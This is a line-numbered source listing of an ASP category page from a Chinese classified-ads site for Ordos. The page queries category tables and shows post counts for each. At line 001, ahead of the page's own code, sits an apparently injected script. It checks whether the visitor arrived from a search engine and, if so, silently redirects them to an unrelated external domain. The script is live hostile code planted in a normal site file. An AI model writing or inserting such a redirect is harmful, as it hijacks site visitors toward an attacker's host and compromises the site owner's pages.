d:\wwwroot\wuchunhua\kqiqi_categories.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc/conn.asp"-->
002:
<!--#include file="inc/kqiqi_sub.asp"-->
003:
<%
004:
' @@@@@@ www.kqiqi.com @@@@@@@@@@@@@@@@@
005:
' @ @
006:
' @ @
007:
' @ 客齐齐分管理系统，做最好的分类系统。 @
008:
' @ @
009:
' @ @
010:
' @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
011:
%
>
012:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
013:
<html xmlns="http://www.w3.org/1999/xhtml">
014:
<head>
015:
<title>
<%
=title
%
>-鄂尔多斯分类信息,鄂尔多斯二手市场,鄂尔多斯人必上的网站</title>
016:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
017:
<meta http-equiv="Content-Language" content="zh-cn" />
018:
<meta name="Keywords" content="
<%
=metakey
%
>" />
019:
<meta name="Description" content="
<%
=metades
%
>" />
020:
<link rel="icon" href="
<%
=web
%
>/favicon.ico" type="image/x-icon" />
021:
<link rel="shortcut icon" href="
<%
=web
%
>/favicon.ico" type="image/x-icon" />
022:
<link href="inc/style.css" rel="stylesheet" type="text/css" />
023:
</head>
024:
<body>
025:
<div id="Fmain">
026:
<div id="header">
027:
<%
call top()
%
>
028:
</div>
029:
<div class=kon></div>
030:
031:
<div id=FFTit class=F12bold><a href="/">首页</a>-<a href="#">全部分类</a></div><div id=FFContent><div Class='FFdiv'>
032:
<%
033:
dim Nclasslie,classlie,classid
034:
Set Nclasslie =Server.CreateObject("ADODB.Recordset")
035:
sql="select * from class1"
036:
Set classlie = Server.CreateObject("ADODB.Recordset")
037:
classlie.open sql,conn,1,1
038:
if not classlie.eof then
039:
do while not classlie.eof
040:
classid=classlie("id")
%
>
041:
<TABLE cellSpacing=1 width="965" border=0>
042:
<tr>
043:
<td width="30">
044:
</td>
045:
<td>
046:
<TABLE cellSpacing=1 border=0 width="950">
047:
<TR>
048:
<TD colspan="5"><img src="image/de_menu_03.gif"> <a href=categories.asp?/=
<%
=classid
%
>&kqiqi=1>
049:
<b>
<%
=classlie("class1")
%
></b></a>
050:
<%
051:
set rs=conn.execute("select count(id) from [kqiqi_info] where class1="&classid&"")
052:
%
>
053:
(
<%
=rs(0)
%
>)
054:
</TD>
055:
</TR>
056:
<%
057:
sql="select * from class2 where class1="&classid
058:
Nclasslie.open sql,conn,1,1
059:
do while not Nclasslie.eof
060:
%
>
061:
<TR>
062:
<TD width="20%">
<%
if not Nclasslie.eof then
%
><a href=categories.asp?/=
<%
=classid
%
>&//=
<%
=Nclasslie("id")
%
>&/1=
<%
=escape(Nclasslie("class2"))
%
>&kqiqi=2>
<%
=Nclasslie("class2")
%
></a>
063:
<%
064:
set rs=conn.execute("select count(id) from [kqiqi_info] where class1="&classid&" and class2="&Nclasslie("id")&"")
065:
response.write "("&rs(0)&")"
066:
Nclasslie.movenext
067:
end if
068:
%
>
069:
</TD>
070:
<TD width="20%">
<%
if not Nclasslie.eof then
%
><a href=categories.asp?/=
<%
=classid
%
>&//=
<%
=Nclasslie("id")
%
>&/1=
<%
=escape(Nclasslie("class2"))
%
>&kqiqi=2>
<%
=Nclasslie("class2")
%
></a>
071:
<%
072:
set rs=conn.execute("select count(id) from [kqiqi_info] where class1="&classid&" and class2="&Nclasslie("id")&"")
073:
response.write "("&rs(0)&")"
074:
Nclasslie.movenext
075:
end if
%
>
076:
</TD>
077:
<TD width="20%">
<%
if not Nclasslie.eof then
%
><a href=categories.asp?/=
<%
=classid
%
>&//=
<%
=Nclasslie("id")
%
>&/1=
<%
=escape(Nclasslie("class2"))
%
>&kqiqi=2>
<%
=Nclasslie("class2")
%
></a>
078:
<%
079:
set rs=conn.execute("select count(id) from [kqiqi_info] where class1="&classid&" and class2="&Nclasslie("id")&"")
080:
response.write "("&rs(0)&")"
081:
Nclasslie.movenext
082:
end if
083:
%
>
084:
</TD>
085:
<TD width="20%">
<%
if not Nclasslie.eof then
%
><a href=categories.asp?/=
<%
=classid
%
>&//=
<%
=Nclasslie("id")
%
>&/1=
<%
=escape(Nclasslie("class2"))
%
>&kqiqi=2>
<%
=Nclasslie("class2")
%
></a>
086:
<%
087:
set rs=conn.execute("select count(id) from [kqiqi_info] where class1="&classid&" and class2="&Nclasslie("id")&"")
088:
response.write "("&rs(0)&")"
089:
Nclasslie.movenext
090:
end if
091:
%
>
092:
</TD>
093:
<TD width="20%">
<%
if not Nclasslie.eof then
%
><a href=categories.asp?/=
<%
=classid
%
>&//=
<%
=Nclasslie("id")
%
>&/1=
<%
=escape(Nclasslie("class2"))
%
>&kqiqi=2>
<%
=Nclasslie("class2")
%
></a>
094:
<%
095:
set rs=conn.execute("select count(id) from [kqiqi_info] where class1="&classid&" and class2="&Nclasslie("id")&"")
096:
response.write "("&rs(0)&")"
097:
Nclasslie.movenext
098:
end if
099:
%
>
100:
</TD>
101:
102:
</TR>
103:
<%
104:
loop
105:
Nclasslie.Close
106:
%
>
107:
</TABLE>
108:
</td>
109:
</tr>
110:
</TABLE>
111:
<%
112:
classlie.movenext
113:
loop
114:
end if
115:
classlie.close
116:
set classlie=nothing
117:
set Nclasslie=nothing
118:
closedb
119:
%
>
120:
</div>
121:
</div>
122:
<br style="clear:both;" />
123:
<div class=kon></div>
124:
<div class=kon></div>
125:
<div id="footer">
126:
<%
127:
call bottom()
128:
%
>
129:
</div>
130:
</div>
131:
132:
</body>
133:
</html>
134:
135: